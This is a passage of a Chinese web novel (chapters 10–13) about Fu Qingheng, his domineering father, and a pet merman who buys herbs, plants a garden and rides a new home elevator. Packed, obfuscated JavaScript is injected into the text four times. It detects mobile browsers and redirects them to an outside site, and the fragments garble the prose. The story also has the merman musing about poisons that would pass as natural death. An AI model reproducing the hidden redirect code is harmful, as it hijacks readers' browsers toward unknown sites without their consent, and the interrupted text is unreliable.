这还是第一次,傅青桁居然敢反驳他。 “真是越来越不像话了。”傅晖沉下语气,“你眼里还有没有我这个父亲。” 虞淮辞:“呸、” 你眼里都是二儿子,还问傅青桁眼里有没有你,臭不要脸的。 没看见他眼里都是我吗? 傅青桁还没开口,傅晖感觉先被小人鱼嘲讽了。 傅晖拧眉,“你这人鱼怎么回事?他刚才发出的什么动静?” 被小人鱼‘呸’一口这种事,有些令人感到匪夷所思,即使是傅晖都愣了一下。 虞淮辞挑了挑眉,看什么看? 傅晖一拍桌子,“简直狂妄!” 这话看似是跟虞淮辞说的,实际上却是在点傅青桁。 他不可能真的跟人鱼计较那一点虚无缥缈都没太听真切的声音,但傅青桁切切实实做了违背他命令的事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444204|184937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虞淮辞:“咿呀!” 滚! 傅青桁抬手,虚换在鱼缸边,挡着小人鱼不让他往外跳,“您大驾光临,应该不是时间多到莫名其妙来找我聊闲天的吧。” 比起和傅晖在这勾心斗角的打哑谜,傅青桁现在更想做的是用最短的时间把人打发走,抱着小人鱼回卧室或者办公室,随便哪。 只要是只有他和小人鱼的地方就行。 “你真是长本事了。”傅晖敏锐的意识到此时此刻的傅青桁有些不对劲。 不……是很不对劲。 作为傅青桁的父亲,他参与了傅青桁大部分的成长阶段,傅青桁一直是老实的,即使知道被试药,当做药人是对他的不公平,却还是会遵循父亲的意思老实去做。 按时接受药品注射。 大事是这样,小事更是不用说。 只是没想到,傅青桁突然变得有些陌生。 “有话快说。”傅青桁搭在鱼缸边沿的指尖垂下,小人鱼的尾尖下一刻就缠了上来。 他随手动动指尖,逗小人鱼玩。 傅晖看着傅青桁心不在焉的还在那玩人鱼,一想到今天收到的消息,更是气不打一处来。 “还有脸玩!”傅晖从进来到现在一口茶水都没喝到,本就是带着火来的,现在更是憋了一肚子气,感觉下一刻就要炸了。 “跑去人鱼繁育基地搞强买强卖那套?还整上威胁了,你知道不知道那两个人后面是谁?”傅晖气不打一处来的狠拍桌子。 傅青桁知道傅晖不想让他养小人鱼,实验药剂经年注射,他的精神力早就已经处于不稳定状态,傅晖还等着他精神力失控呢,一旦小人鱼帮忙安抚精神识海,不说多年实验功亏一篑,也肯定会影响到实验结果。 可……那又怎么样呢。 傅青桁不在乎这些。 他已经记不清自己死了多少次了。 好不容易挣脱困顿的剧情,有了一次按照自己想法活着的机会。 傅青桁怎么可能还会被这些小事牵绊住。 只是跟傅晖,他懒得多说什么,只简单概述道:“他们不敢把事情闹大。” “什么叫不敢把事情闹大?”傅晖几度被顶撞,“是,不敢闹到人尽皆知,但你这不是直接把人给得罪死了吗。” “得罪他们俩,就跟得罪了布雷德利和戈顿两个家族有什么区别?报复你的时候,他们难道不会动用到家族的力量吗?你搞这么一出,对你有什么好处?!”傅晖沉声怒斥,“为了一条人鱼把场面搞成这样,这对你百害而无一利!愚蠢!” “总不会有比现在还差的处境了。”傅青桁缓缓抬眸,直视着傅晖的眼睛,面无表情道:“父亲。” 傅晖嘴角一抿,骤然加重的呼吸倒映着他此刻心里的不平静,在傅青桁的注视下,傅晖硬生生给气笑了,连说几句:“好好好。我真是说不得你了。” 似乎是被傅青桁油盐不进的态度气的狠了,傅晖一言不发的转身,大步往外。 傅晖现在整个就是一个‘气笑了’的具象化表现。 下一刻,刚走没两步,傅晖面上的笑容骤然消失,转身朝着傅青桁高举起手,“你真是没有把我这个做父亲的放在眼里?!”随着一声暴呵,高扬起的巴掌落下。 ‘啪’ 傅青桁握着他的手腕,眼底一片泛着冷意的寒光,手指缓缓收紧,用力到指尖泛白,“父亲,你年纪大了,动手动脚的活不适合你,小心闪了腰。” “你你你——!”傅晖这下子脸都绿了,高举的手腕仍被悬在空中,摊开准备打人的手掌就这么不尴不尬的举着,让他感到指尖发麻。 又尴尬又觉得自己作为父亲的权利被挑衅,整个人像是一头暴怒的狮子,但手挣扎两次,却无法脱离。 “傅青桁你简直狂妄!我可是你亲生父亲,你这么对我是不孝,你不怕天打雷劈吗?”傅晖指尖颤抖着指天。 “咿呀……”虞淮辞瞥了他一眼,掰动手里汽车遥控器的方向旋钮。 都星际了谁跟你天打雷劈。 叽里咕噜说什么。 吃我一车! 11.第 11 章 玩具车都是真材实料,抗摔打能力和真车一样。 虞淮辞还特意把车往远处开,感觉差不多了直接就是一个横贯整个客厅的大冲刺。 玩具车的轻微声音被傅晖的怒音掩盖,站在原地不动的傅晖就像是一个足够大又稳定的靶子。 ‘砰!’ “啊!”傅晖猝不及防腿上一疼,同时傅青桁松开手,他身形不受控制的向后倒去,直直的摔进了单人沙发里。 柔软的沙发接住了他,却挡不住腿上的疼。 傅晖颤抖着手,哆哆嗦嗦的牙齿都在打颤,面上是藏不住的痛苦,眼睛微微眯起,几度张口似乎想说些什么,都被疼痛卡在了喉咙。 傅青桁瞳孔一缩,疾步上前。 虞淮辞只感觉头顶一片黑影过去,那大概是傅青桁飘过的衣摆。 怎么走的这么急? 该不会傅青桁还在关心傅晖吧。 “呜……” 他不值得的…… 虞淮辞刚一开口,就见傅青桁径直掠过旁边单人沙发上疼的龇牙咧嘴的傅晖,俯身小心的将地上的玩具车捡起来。 他扯着自己袖口小心擦拭着玩具车,确认没有坏才松了口气。 现货就这么一辆了,要是再坏了,再买一辆不知道得等多久才到。 好不容易有一个小人鱼喜欢的玩具,坏了太可惜了。 幸好没问题,回头消消毒再给小人鱼玩。 傅青桁回头,“下次走路看着点。差点把玩具踩坏。” 傅晖疼的额头上都是汗,腿上被撞到的地方已经有些开始麻木了,但是依旧是钻心的疼,他毫不怀疑是伤到骨头了,伤的这么重,为人子女的还在那说风凉话,“你——!” “好好好,你真是翅膀硬了。”傅晖从进来就开始端着架子,试图拿出作为父亲的威严让傅青桁像以前那样老实顺从,但是很显然他失败了。 此刻疼痛占据大脑,愤怒引领思考,傅晖大骂,“以为有了人鱼就用不着那些药剂了是吧,我倒要看看,以你的情况,小人鱼到底能不能管用。” 实验药剂的相互制衡,也是拿捏傅青桁的一种方式。 傅青桁从小接触实验,药剂所造成的影响早在他身上根深蒂固,可以说,离开傅晖,傅青桁就只有死路一条。 傅晖冷眼看着傅青桁,我等你来求我那天。 腿上的伤让他懒得继续在这里纠缠,现在事情闹成这样,傅青桁摆明了是想跟他对着干。 傅晖瘸着伤腿,一步一踉跄的往外走。 家用机器人非常热情的招呼:‘欢迎您下次再来玩。’ 傅晖:“滚!” 虞淮辞眨眨眼睛,两手一摊,真暴躁啊这个人。 踩人家玩具车你还有理了。 “小白。” “呜?”虞淮辞在第一次听到这个名字的时候,用了一秒钟时间理解并接受。 怎么啦? 傅青桁竖起手做击掌状,虞淮辞眼睛一亮,单手撑着鱼缸边缘,借着水的浮力甩动尾巴向上跃起,‘啪’的一下,稳稳对上傅青桁的掌心。 耶! 干得漂亮! 就该用这种态度嘛。 虞淮辞心情愉悦,垂在水下的尾尖一直甩个不停,早该了。 一个啥也不是只知道用父亲身份压着的人,凭什么要被他捆绑。 至于傅青桁的精神力…… 虞淮辞之前尝试用灵力治疗,根本就没有傅晖说的那么严重,只是他精力不足,灵力不够,慢慢来,恢复只是迟早的问题。 才不用被傅晖拿捏呢。 折腾这么一趟,傅青桁看了眼时间也没有再上楼。 机器人已经开始陆陆续续往桌子上端菜了。 炒菜不是一锅出,有一个先后顺序。 程序设定的炒菜顺序是最科学的,不知不觉就摆了满桌。 桌子自带恒温保温功能。 傅青桁问:“现在吃饭吗?” 虞淮辞摇了摇头,虽然他早上吃的很少,但现在好像没什么饥饿感,可能注意力都在傅晖身上了,原文里的傅晖本身是一个平平无奇的人,恶毒的手段和心思是他的本色。 现在见了真人,感觉又恶毒又蠢。 虞淮辞叹气。 “怎么突然叹气?”傅青桁还在看菜,见小人鱼唉声叹气,还以为是对这桌子菜不满意。 虞淮辞伸手拍拍他手腕上的通讯器,“呜……” 我想买东西。 “要这个?”傅青桁作势要去拆通讯器,解开带子的时候多问了一句:“是想要我这个,还是想要楼上我给你买的那个?” “咿呀!”虞淮辞手往楼上一指,要那个。 “好。”傅青桁应了一声上楼去拿。 虞淮辞待在鱼缸里看着机器人上菜,一个个举着菜品排着队,在桌子上找地方摆放好。 傅青桁走下楼梯,边走边调整带子,“我给你挂在鱼缸上。” “呜、”虞淮辞往后退了些,给他腾出位置。 虞淮辞本意是想闲着没事搜索一下有没有能用的中药。 但是点开购物软件,在输入框的时候才后知后觉想起来……搜东西得打字,看图识别用不了,因为没有东西。 坏了。 当务之急变成尽快把文字和读音联系起来了。 或者、想个办法让傅青桁意会到他想买什么。 嗯……还是想想怎么把文字和读音联系起来吧。 再不然,有没有相关推荐什么的。 虞淮辞随便在上面几个分类里挨个点进去,小蛋糕图标的是食物区,扳手的是工具区,还是蛮好区分的。 他指尖在屏幕上划,点开这个,不是再退出去,再点下一个。 直到—— 人参!!! 人参的商品图片出现的时候,虞淮辞激动的在水里游了一圈。 好诶! 人参都出现了,其他的中药材还会远吗? 虞淮辞点进去,把人参加入购物车。 人参他暂时用不到,自创的那几种有攻击性的药剂也都用不到人参。 纯粹是用这个商品钓大数据推荐,等着给他推荐其他药材呢。 傅青桁半天没有听到声音,时而有微弱的水流声响起,但视频音频的声音却一直没有,他奇怪的望过去,就见小人鱼在屏幕前面打转。 转一圈浮上来,乐乐呵呵的点击屏幕,不知道看见了什么惊喜的东西,戳戳屏幕就又潜了下去。 这是在看什么呢这么高兴? 傅青桁不免好奇,走到小人鱼身后,才注意到他是在对着购物屏幕拍拍。 买了一堆……植物。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444205|184937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星际时代,高科技产物占据大头,蔬菜食品都渐渐被营养液取代,线上卖的这些不知名植物价格不高不低,有点像是绿植盆菜,养在家里看的。 只是、小人鱼选的这几个盆栽实在是有点有碍观瞻。 但小人鱼好像很喜欢。 傅青桁又低头看了一眼。 嗯……不是好像,是真的很喜欢。 “呜!”虞淮辞现在整个人像是被惊喜砸中了一样,购物软件的大数据推送果然是最牛的! 很多他需要的药材都有,而且,推送里还有很多星际本土植物,虞淮辞看图片也把不少本土植物加入了购物车,能不能用等到了再说。 药剂就是靠着一次次实践改良制作出来的。 说不定碰撞出不一样的花火呢。 虞淮辞挑挑选选,眼睛都花了。 他揉揉眼睛,就见一只手从旁边伸了过来,点在屏幕上,“想要这些?” “咿呀?”虞淮辞‘嗯’了声。 “好。”傅青桁点进去付款,绿植运输的速度要比普通快递快的多,避免路上损耗,要是寄出去的绿植被快递耽搁导致绿植死亡,那赔的可就不止是快递费那点了。 傅青桁给小人鱼指了指订单的时间说:“差不多半个小时左右。” “好~”虞淮辞现在心情非常好,笑眯眯的开口,然后…… 傅青桁眉尾一挑。 “好……”虞淮辞扯了扯嘴角,努力把声音延长然后别别扭扭转回来,“嚎嚎嗷呜啊。” 这个音调比山路十八弯差不了多少。 不过嘛,好在最后还是圆回来了。 就是圆的有点勉强。 虞淮辞无辜的冲着傅青桁眨眼,别怀疑,小人鱼都是这么叫的。 有点声乐天赋也正常。 毕竟祖先是海妖。 傅青桁轻咳一声,听不懂,但是不妨碍他夸,“唱的不错。” 虞淮辞:“?” 傅青桁没得到小人鱼的回答,又说:“音色清晰,曲调平缓,简直……” “咿呀!”虞淮辞恨不能跳起来捂他的嘴。 够了够了。 我不是这个意思啊啊啊…… 夸的鱼脸红。 傅青桁把手伸下去,小人鱼顺势就窝进了他手心。 “菜上齐了,先吃饭?下午有工人来安装电梯,你中午要不要先睡一觉?”傅青桁怕电梯安装声音太大,会打扰到小人鱼休息。 提前睡一会。 虞淮辞没什么安排,他就等那些药材到就好啦。 于是,银白色的小人鱼扬了扬尾巴,勾着傅青桁手腕蹭蹭,“呜!” 都可以。 小人鱼没摇头,傅青桁就当他是同意了。 恒温桌上的菜也不能久放,时间长了会过熟。 “来尝尝你心心念念的牛排。”傅青桁给他切了一块,用叉子举着。 哪怕只是一条,牛排都比虞淮辞脸大。 鼻尖呼吸都是牛排黑胡椒酱的味道。 虽然刚传穿过来没多久,但虞淮辞感觉自己上次吃牛排已经是上辈子了。 他张大了嘴一口咬下—— 人鱼的牙齿轻易撕开牛肉,还不塞牙。 鲜香的口感一绝。 虞淮辞深吸一口气,这才是食物啊! 12.第 12 章 “呜……”虞淮辞喟叹,果然他还是喜欢烹饪熟了的加了调味料的食物。 得亏他早上没吃多少,不然以小人鱼的饭量,他可能把傅青桁切下来的这块牛排吃完就饱了。 桌上还有那么多道菜呢。 傅青桁见小人鱼吃的眼睛都眯了起来,吃牛排,小人鱼从嘴边到脸颊两侧不可避免的沾上了酱料。 两颊塞的鼓鼓的像是小仓鼠一样,眼里全都是对品尝到美食的赞叹,如果会说话的话,这会应该已经高谈阔论一篇来夸赞牛排有多好吃。 傅青桁又夹了块炖牛肉,“来试试这个。” 投喂小人鱼好像成为了一项很有趣的游戏,认认真真吃饭的小人鱼很可爱。 傅青桁因为工作原因,并不会把时间都浪费在进食上,全部都是靠营养液糊弄,也算不上糊弄,毕竟不会造成胃部萎缩,也可以给身体提供足够的营养。 但是像是现在这样,让机器人准备一大桌子菜,坐在桌边慢条斯理的吃,这种情况几乎是从没有过的。 不管是在自己家还是回傅家。 自从把小人鱼带回来,家里的餐桌也派上用场了,这东西都快变成放在餐厅摆放假花的工具了。 ‘咔嚓’ 虞淮辞咀嚼的动作一顿,迎着声音的方向看去,又嚼了嚼,“唔……?” 傅青桁关上通讯器的声音,歪头绕开通讯器的屏幕,看着小人鱼轻笑,“没什么,你继续吃。” 画面中,沐浴在阳光下的小人鱼眉眼弯弯,漂亮的脸颊上沾了点点酱汁,光是看着就让人嘴角不自觉的弯起。 傅青桁摆弄了一下通讯器,他买来这些东西都是对公用的比较多,像是屏幕背景,外壳这些可以更换的东西他从来没弄过,都是新机购入的时候默认的。 调背景是在…… 还可以有聊天背景。 通讯背景。 头像好像也不错。 傅青桁一□□下来,通讯器除了外壳和小人鱼没关系,其他的,软件都是小人鱼的照片。 嗯。 非常完美。 通讯器一般,小人鱼非常完美。 银白色干净明亮,浮于水中有一种月亮光影在水下拉长延伸的感觉。 神圣而优雅。 “咿呀!”虞淮辞擦擦嘴,饭都不吃了,高举着手指向快递。 我看见我的草药了。 “嗯?”傅青桁的注意力都在通讯器上,倒是没注意到旁边,“绿植到了。” 小人鱼刚才在屏幕前面挑了那么半天,肯定满心满眼就想要这个。 傅青桁把碗里的肉先喂给他,“那饭还吃吗?” 虞淮辞手搭在傅青桁手腕上,“呜……” 不影响,可以一边拆一边吃饭。 他怕快递包裹的太严实,把里面的植物都给捂坏了。 这里面很多材料都是,捂坏了根就不能要了,也没办法种植。 小人鱼嘴里有肉,叫声说话都含含糊糊的。 傅青桁试着理解,“要现在拆开吗?” “嗯!” 无障碍沟通。 非常棒。 傅青桁把消毒好的箱子放桌边,小人鱼拿指甲划来划去。 这颗不错,这颗也挺好,这颗有点发干…… 制作药剂用到的材料还是要挑质量好的,不好的那些做毒药去丢别人。 废物利用。 极其合理。 傅青桁问道:“这些都种在花园里吗?” 虞淮辞边‘嚼嚼嚼’边干活挑选,花园吗? 一般独栋别墅都是会带一个小花园的。 虞淮辞一开始想的是用花盆,比较小不占地方,丢进去能不能活就看天意。 花园的话…… 虞淮辞转头,透过窗户把目光放在了外面的花园上,花园里面没有花,只有浅浅一层草皮,看起来脆嫩脆嫩的。 他只是在屋里看,看的并不是很真切,是真草还是假草坪,得凑近了才知道。 没办法,谁让星际造的假花假草假植物什么的都太真了呢。 买东西的时候,看图片下单前虞淮辞都看过详情页,不然都很有可能买一堆塑料回来。 不过,这些当观赏植物卖的都,一个假的都没有。 或许是太丑了,没人会买这么丑的摆在家里,所以干脆都没人做,因为没有市场。 “呜?”虞淮辞看看那片草地再看看箱子里丑陋的草药们。 放在花园里吗? 会不会有点怪怪的? “外面阳光足,养起来比较方便。也更容易存活。”是小人鱼喜欢的,傅青桁自然是想把这些花草养好。 可能它们也算不上花草。 但既然是小人鱼喜欢的,管它是什么,养就完了。 小人鱼稍作思忖后点了点头,也可以。 一顿饭的时间,虞淮辞已经把好的和不好的分别挑好,放在两边。 连着根部的地方,划下来一些,种植的时候直接埋进土地里就行了。 “呜——!”虞淮辞举手欢呼。 我心心念念的药材呀! 药剂制作出来先毒死谁好呢。 人鱼繁育基地那几个?还是傅晖?要不先想办法把傅青桁弟弟做掉吧。 主角没了,反派就安全啦。 做掉做掉,全部做掉。 虞淮辞有自信,他做出来的药剂,可以在任何检测下都显示出人是自然衰竭老死的。 傅青桁说:“我去种上。” “啊?”虞淮辞忙伸手把人拉回来,他没什么力道,小人鱼和人身形还是相差太大了,说是拉,更像是碰上傅青桁的衣袖,傅青桁就自己停了下来。 “怎么了?”傅青桁把箱子挪开。 虞淮辞两只手倒腾着把傅青桁拽回来,“呜……” 吃饭,先把饭吃了。 他吃完了,傅青桁还一口没动呢。 种草药不着急,箱子打开了,透气通风就没那么容易烂。 虞淮辞举起叉子给他,意思非常明显。 “让我吃饭吗?”傅青桁刚站起来没走几步就又重新坐了回来。 见傅青桁已经吃上了,虞淮辞继续闷头忙自己的去,箱子底下还有一点——诶呦?! 趴在箱子边缘的小人鱼差点掉进去。 傅青桁及时伸手抓住了虞淮辞的尾巴,说是抓,更像是碰到,尾巴找到可以着力的地方就顺势缠着贴了上来。 他没敢太用力,好在小人鱼自己勾手腕缠手指绕的稳。 傅青桁手往上抬,鱼尾向上倒立着的小人鱼也一并被带了起来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444206|184937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 垂下去的发丝不可避免的沾上了两片叶子,还有……脸上。 刚擦干酱料的脸,此刻又多了两道土。 虞淮辞:“……” 如果我说我其实知道这样趴在上面会不小心滑下去,现在所发生的一切都是我提前计划好的,你……相信吗? 傅青桁显然没有从小人鱼的沉默中理解到他心里的深意,纸巾擦过脸颊,顺道摘掉叶片,“撞到了吗?” “咿呀……” 没有。 还没来得及掉下去撞到东西就被傅青桁抓住了。 虞淮辞拽拽傅青桁的手指,仰起头,让他帮忙擦擦脖子。 给小人鱼擦完之后,又放回了鱼缸,在里面泡泡。 虞淮辞捧着鱼缸里的水在脸上拍拍。 傅青桁吃的差不多了放下叉子,“走吧,先送你回房间休息,我去把绿植种了。” “呜?”虞淮辞在睡午觉休息和种草药之间果断选择后者。 傅青桁说:“外面阳光很晒也要去吗?” 小人鱼喜水,很多小人鱼都不喜欢阳光,阳光晒着会让鱼缸里的水升温,如果是很大的鱼缸还好,游到下面,水温对小人鱼的影响不大。 但要是像是便携式鱼缸,正午阳光正盛的时候,水照温热了把小人鱼晒伤都有可能。 虞淮辞主要是不想自己在楼上待着,那会很无聊。 他抬起头,下巴垫在傅青桁手上,“呜……” “那我们走。”傅青桁指尖微动,像是挠小猫下颚似的,实际上只是指腹小幅度蹭了蹭。 小花园在放快递的另一侧,一条小石子路在其中贯穿。 假草中间都有缝隙,不影响植物生长。 也不用拆。 这东西存在就相当于是建造房子时候的地基,基本上有这片绿地,再往里面种什么东西,长出来都不会太难看。 傅青桁找了个阴凉处把小人鱼放下,看着占地面积不大的小花园,视线又转到一边。 要不…… 那边也弄个鱼缸。 挖个泳池也行。 家里还没有一个露天的给小人鱼玩的地方。 时间还是太短,没来得及把家里变成最适合小人鱼生活的乐园。 傅青桁拨开草地上的缝隙,挖开土,把小人鱼切成小块的根茎放进去。 长到一定程度喷点营养液就行,星际时代养这些东西都出了很便捷的方式。 顺手揪了几根假草,指尖一缠一绕就成了环。 虞淮辞扬了扬尾巴,尾尖带起鱼缸里的水,“咿呀!” 需要我帮它们浇点水吗? 傅青桁看着跃跃欲试的小人鱼,和鱼尾几次带起的水面弧度,轻而易举的猜到了小人鱼想干嘛。 只是一般情况下,无论什么植物,浇水都是用淡水的。 小人鱼是海水鱼,鱼缸里的水不是原装的大海捞的那种海水,但却是勾兑了海盐调配过浓度的。 用来浇花草的话,可能会把花草浇是。 傅青桁勾了勾嘴角,调侃的语气逗小人鱼说:“它们应该吃不了太咸。” 虞淮辞:“……” 诶? 傅青桁走过来,单膝跪地在鱼缸前面,两指捻着头冠一样的草环放在小人鱼头上,“玩这个吧,可以往草里泼水。” 13.第 13 章 草环在阴影下整体颜色看起来有些偏暗,假草很软,指尖碰上去像是摸着塑形的棉花,柔软却能够定型不变,无论压成什么样子,松手就能快速回弹。 傅青桁撩了几缕头发穿过草环中间,长发再自然垂下搭在草环上,能起到一个固定的作用,但不会卡的很死。 虞淮辞感觉到头发在被拨弄,老老实实的趴着等,时不时抬下眼眸,视线内却捕捉不到傅青桁的脸,只能看见时不时晃动的手臂。 “好了。”傅青桁放下最后一缕头发,淡绿色的草环在银白色的长发中穿梭,有些地方露出叶片,有些地方只有一抹淡淡的绿色。 装饰好,傅青桁看着小人鱼没由来的笑了。 好像精灵。 绿色与自然和灵动挂钩,就是动画电影中那种,背后有透明小翅膀的小精灵。 尤其是小人鱼自己看不见,不过从小人鱼抬眼抬头的动作看起来,应该也是很好奇自己现在是什么样子的。 外面没有镜子,傅青桁用通讯器的屏幕暂时代替了镜子,不打开的时候黑色的屏幕也能照出小人鱼的模样,只是看起来没有镜子那么清晰真切就是了。 虞淮辞歪了下头,草环纹丝不动,淡绿色适配一切淡色系,跟银白色搭配起来更绝。 小人鱼很满意。 傅青桁点开手环,对着小人鱼拍了几张照片。 不管是什么拍照软件,不管是多高像素的通讯器,拍照出来或多或少都会有一些差异,大小形状色差都可能会有。 拍照远没有直接把黑屏当镜子看的清楚,但拍出来的照片可以保存。 傅青桁翻开相册,照片也是好看的,只是跟自己用眼睛去看小人鱼还是差了点。 能比过小人鱼照片的,只有现实中的小人鱼。 傅青桁定定的看着草环,突然脑子里灵光一闪。 ——他想起来忘记买什么了。 小人鱼的装饰首饰挂件都没买。 他这段时间上网买的多数都是小人鱼的日常用品和吃喝鱼缸之类的,挂在身上的配饰都没有准备。 傅青桁没有养小人鱼的经验,但见过别人养,眉心坠,项链宝石手环之类的。 小人鱼和传说中的巨龙一样,也喜欢亮晶晶的东西。 不少人养了小人鱼以后,会在配饰上坠满宝石,小人鱼不会分辨宝石真假,亮的就可以。 傅青桁有些内疚的想,他可真不合格。 现在才发现少了这么重要的东西。 傅青桁想到就准备买,念头一起,手就已经点开了购物软件。 虞淮辞就见傅青桁短暂的怔愣过后,开始冲着通讯器狂点。 “???” 发生什么事了? --- 种下去的草药一时半会长不上来。 植物用的营养液是给种植物补充营养,并不能起到拔苗助长的作用。 营养液浇下去,活不活的就看天意了。 傅青桁又是拨开假草,又是挖洞口填土的,手上不可避免的沾上了土。 ——‘叮咚’ 身后,是院门门铃响的声音。 “您好,我是‘立耳’电梯工程开发有限公司的。”围栏外,身着公司蓝色制服的工作人员按响门铃后朝着里面招手,“咱们这是预约了室内电梯安装的对吧?” “嗯。”傅青桁线上给出指令,机器人颠颠的从客厅里出来开门。 刚才出来的时候傅青桁就没有关门。 机器人开院门也是畅通无阻。 趁机器人开门的时候,傅青桁伸手过来想把小人鱼抱回去,但在触碰到干净透明的鱼缸时,手又悬在了外面,怎么看都像是会弄脏的样子。 其实也还好,隔着一层鱼缸,手上的脏污不会直接接触到小人鱼,可傅青桁莫名有些迟疑,纠结的思绪在脑海中蔓延,摊开的手掌指尖微微蜷缩,索性打算拿衣服挡一下。 想着尽量不要弄脏鱼缸。 ‘哗啦’ 就在傅青桁沉思时,一捧清凉的水从上浇下。 傅青桁掌心一沉,水流冲刷过掌心的痕迹,淡淡的一层薄土也被洗刷了个干净。 银白色的小人鱼扬起尾巴,骄傲的抬起下颚,“呜、” 是要我帮你洗手吗。 不用谢! 鱼缸里的水还有很多,反正一会回去就要换到其他鱼缸了,虞淮辞索性又给他扬了些水出去。 冲了两次,手上已经看不见土的痕迹了。 虞淮辞想着要不要来第三次的时候,傅青桁甩了甩指尖的水。 “可以了小白。”傅青桁抱起了鱼缸,指尖随手理了理小人鱼的长发。 电梯安装师傅推着专用推车进来,在院子里就已经开始拆电梯的包装了。 “您好,咱们现在可以安了吗?装在哪定好了吗?方便的话可以给我看一下装修图纸吗?避免影响到家里走线,我到时候多注意着点。”电梯安装师傅和电梯一块来的。 家里二层别墅,电梯用不了太大的,纯粹是给小人鱼上下楼代步用。 要不是没有小人鱼专用大小的电梯,傅青桁还有更多选择,奈何没有,只能在市场上现有的电梯里面,最小号的找。 “里面。”傅青桁提早规划出一个位置,这里原本的家具摆件都被提前搬走了。 “行。”电梯安装师傅点点头,从口袋里掏出手套开始戴,“那您检查一下品牌型号,没问题我就开始安装了。” 虞淮辞还是第一次见星际的电梯,看起来和记忆里的电梯差好多,不过也可能是家用款和外面商场之类的商用电梯不一样。 家用的电梯看起来有点胶囊的感觉。 不是长方体,而是一个椭圆形,跟别墅整体严肃商务风不是很搭,但是放在角落,不细看的话,感觉也可以当个家具摆件。 虞淮辞双手交叠垫在下颚处,观察着这个电梯。 感觉人高一点在里面都抬不起头。 “电梯可以绑定玩具车指令,回头你想上楼的时候过来,接收到指令的电梯会自动打开。”傅青桁买这电梯就没打算给自己用,要不然也不会特意往小了选。 买的少儿电梯,安全系数更高。 傅青桁看来,在小人鱼的安全问题上面,一切多功能都要让路。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451614|184937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >虞淮辞眼睛亮亮的,还可以这样?! “呜!” 在家里开车还能坐电梯上下楼什么的,听起来好酷! 他还没有熟练掌握开车,傅青桁就已经连电梯都准备好了。 短时间内,别墅里的变化可以用翻天覆地来形容。 除了地板天花板和部分软装没动外,别墅跟重新装修一遍没什么差别。 安装没有复杂繁琐的步骤,不然也不会只派一个师傅过来干活。 师傅装好后检查了一下,正常上下,启动无异常,“行,这就给您装好了,电子保修卡发到您的邮箱了,有什么问题联系保修卡上的通讯号码就行。这个是确认单,您在这签个字。” 电梯安装师傅把文件夹递过来。 打开文件夹,里面就夹着一根签字笔。 “好。”傅青桁签好名字,连着文件夹一起还回去。 电梯包装和固定的那些木头,安装师傅离开时也一并扔回货运飞行器上,这些东西造价不低,都是可以回收再利用的。 安装师傅赶着下一单,飞行器一脚油门下去,‘嗡’的一声,屋里都听得清清楚楚。 傅青桁按下电梯,通讯器操控绑定,“要不要进来试试?” 虞淮辞毫不犹豫的点头,“咿呀!” 要! 虞淮辞以为傅青桁会去开车,但傅青桁直接抱着鱼缸走进了电梯。 这个电梯对于小人鱼来讲有些大,可对于傅青桁来说,属于是根本站不直,抬不起头的大小。 傅青桁单膝跪地,“绑定以后用不着按键,它会自动开门,关门的话要手动按一下喇叭。等你能自己开车,就可以随便上下楼了。” 少了一个自动关门的步骤有些麻烦,但能有效避免小人鱼受伤。 万一车卡在门口,或者出现其他什么意外原因,电梯门没有检测到小人鱼自动关闭,那才是危险。 好在按一下喇叭也不是很费事。 不寻常的电子设备绑定要多试几次,在小人鱼完全掌握自己开车和上电梯之前,傅青桁把电梯调成通讯器手动操控的。 相比于下楼方便上楼难的滑梯,还是电梯更实用一点。 ‘滴……’ 电梯门开。 二楼正对着办公室门的方向。 再往前走走就是卧室。 这个位置可以说是二楼布局正中间,四通八达,去哪个房间都很方便。 傅青桁走出电梯,估摸着家里还差点什么,还要再改造些什么。 毕竟自己一个人住,也没有住家保姆,顶多就是在楼下不会上来的家用机器人,空房间还是很多的。 傅青桁是一个对生活质量要求挺低的人,甚至于可以说是没什么多余的欲望和想法,在此之前,按部就班的活着是他唯一的生命线无法更改,又怎么会闲到去装饰家里。 都是买房子的时候开发商送的软装。 